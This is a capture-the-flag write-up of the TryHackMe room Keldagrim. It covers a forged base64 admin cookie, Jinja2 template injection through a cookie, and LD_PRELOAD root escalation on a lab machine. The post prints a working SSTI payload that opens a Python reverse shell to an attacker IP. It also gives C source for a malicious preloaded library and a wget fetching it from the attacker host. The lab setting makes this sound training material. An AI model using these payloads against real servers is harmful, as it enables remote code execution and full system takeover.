Keldagrim

The dwarves are hiding their gold!

This is Keldagrim from THM. It’s medium rated and I liked it a lot.

Ports

SSH and HTTP; that’s it. We don’t use SSH, this is 100% web.

HTTP

It’s a pretty simple website, about selling gold in Runescape and other MMOs (I think). There is a link we can’t immediately access at /admin. Dirsearch doesn’t find any links that aren’t easily found from the homepage.

Inspecting our request and response, we have a cookie:

session=Z3Vlc3Q=; Path=/

If we decode the session value, we get: guest

If we set the cookie to admin (base64 encoded is YWRtaW4=), we can access the /admin page. Nice. We get a new cookie:

sales=JDIsMTY1

This decodes to: $2,165

I got stuck at this point for hours. I should also mention that the Server header was:

Server: Werkzeug/1.0.1 Python/3.6.9

I tried SQLi in the URL and cookies. I tried fuzzing for hidden parameters. I tried fuzzing for hidden directories. I tried searching for a Werkzeug console.

I could see the server was base64 decoding whatever cookie value I set for sales, so I tried getting a command injection. Nada.

Progress

The only error I would occasionally manage to prompt was a 500 error. Specifically:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Googling this error, I found it was a Flask error. This made sense with Werkzeug. This led me to this, and I quote:

Probably if you are playing a CTF a Flask application will be related to SSTI.

WTF is SSTI? I’ve never heard of it - down the rabbit hole we go!

SSTI

This was a very useful link.

A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

So it is command injection via the sales cookie; we just need the right syntax. And we need to figure out which template engine we were using.

Next was a visit to PayloadsAllTheThings where some research revealed we were most likely dealing with Jinja2. I tried some payloads:

{{44}}[[55]]
{{7*‘7’}} would result in 7777777
{{config.items()}}

Note these all needed to be base64 encoded first. Thanks to CyberChef.

Many of the examples on Payloads didn’t seem to work, but enough did that it seemed like I was on the right track. There was code for a reverse shell, and with some slight modification:

{% for x in ().class.base.subclasses() %}{% if “warning” in x.name %}{{x()._module.builtinsimport.popen(“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.10.123",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’”).read().zfill(417)}}{%endif%}{% endfor %}

After base64 encoding, I got a shell! I did a happy dance :)

Privesc

Privesc was comparatively quick, but again a new one for me at least.

Linpeas points the way, and hacktricks draws the map. This is the setup:

jed@keldagrim:/dev/shm$ sudo -l     
sudo -l
Matching Defaults entries for jed on keldagrim:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User jed may run the following commands on keldagrim:
    (ALL : ALL) NOPASSWD: /bin/ps

The important part is env_keep+=LD_PRELOAD along with something we can run as sudo. It doesn’t matter what, and PS by itself doesn’t lead directly to a shell. We need this:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

I create it on my box and copy it over:

jed@keldagrim:/tmp$ wget http://10.9.10.123:8000/pe.c
wget http://10.9.10.123:8000/pe.c
--2021-02-03 09:31:19--  http://10.9.10.123:8000/pe.c
Connecting to 10.9.10.123:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 163 [text/x-csrc]
Saving to: ‘pe.c’

pe.c                100%[===================>]     163  --.-KB/s    in 0s      

2021-02-03 09:31:20 (7.71 MB/s) - ‘pe.c’ saved [163/163]

I compile it per the instructions; it threw a few warnings but they don’t matter. Command was:

jed@keldagrim:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles

The escalation was supposed to be:

jed@keldagrim:/tmp$ sudo LD_PRELOAD=pe.so ps

But this threw an error:

ERROR: ld.so: object ‘pe.so’ from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.

Essentially, the ‘pe.so’ can’t be found. We need to specify the path:

jed@keldagrim:/tmp$ sudo LD_PRELOAD=/tmp/pe.so ps
sudo LD_PRELOAD=/tmp/pe.so ps
root@keldagrim:/tmp# cd /root
root@keldagrim:/root# id;hostname
id;hostname
uid=0(root) gid=0(root) groups=0(root)
keldagrim

I liked this one a lot. Thanks optional.